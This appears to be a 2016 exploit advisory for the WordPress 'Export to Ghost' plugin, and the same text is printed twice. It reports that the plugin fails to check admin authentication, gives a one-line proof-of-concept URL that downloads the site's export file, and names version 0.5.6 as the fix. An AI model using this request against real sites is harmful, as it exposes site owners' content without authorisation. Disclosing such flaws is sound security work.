# Exploit Title: WordPress Export to Ghost Unrestricted Export Download
# Date: 28-04-2016
# Software Link: https://wordpress.org/plugins/ghost
# Exploit Author: Josh Brody
# Contact: http://twitter.com/joshmn
# Website: http://josh.mn/
# Category: webapps
1. Description
Any visitor can download the Ghost Export file because of a failure to check if an admin user is properly authenticated. Assume all versions < 0.5.6 are vulnerable.
2. Proof of Concept
http://example.com/wp-admin/tools.php?ghostexport=true&submit=Download+Ghost+file
File will be downloaded.
3. Solution:
Update to version 0.5.6
https://downloads.wordpress.org/plugin/ghost.0.5.6.zip
# Date: 28-04-2016
# Software Link: https://wordpress.org/plugins/ghost
# Exploit Author: Josh Brody
# Contact: http://twitter.com/joshmn
# Website: http://josh.mn/
# Category: webapps
1. Description
Any visitor can download the Ghost Export file because of a failure to check if an admin user is properly authenticated. Assume all versions < 0.5.6 are vulnerable.
2. Proof of Concept
http://example.com/wp-admin/tools.php?ghostexport=true&submit=Download+Ghost+file
File will be downloaded.
3. Solution:
Update to version 0.5.6
https://downloads.wordpress.org/plugin/ghost.0.5.6.zip
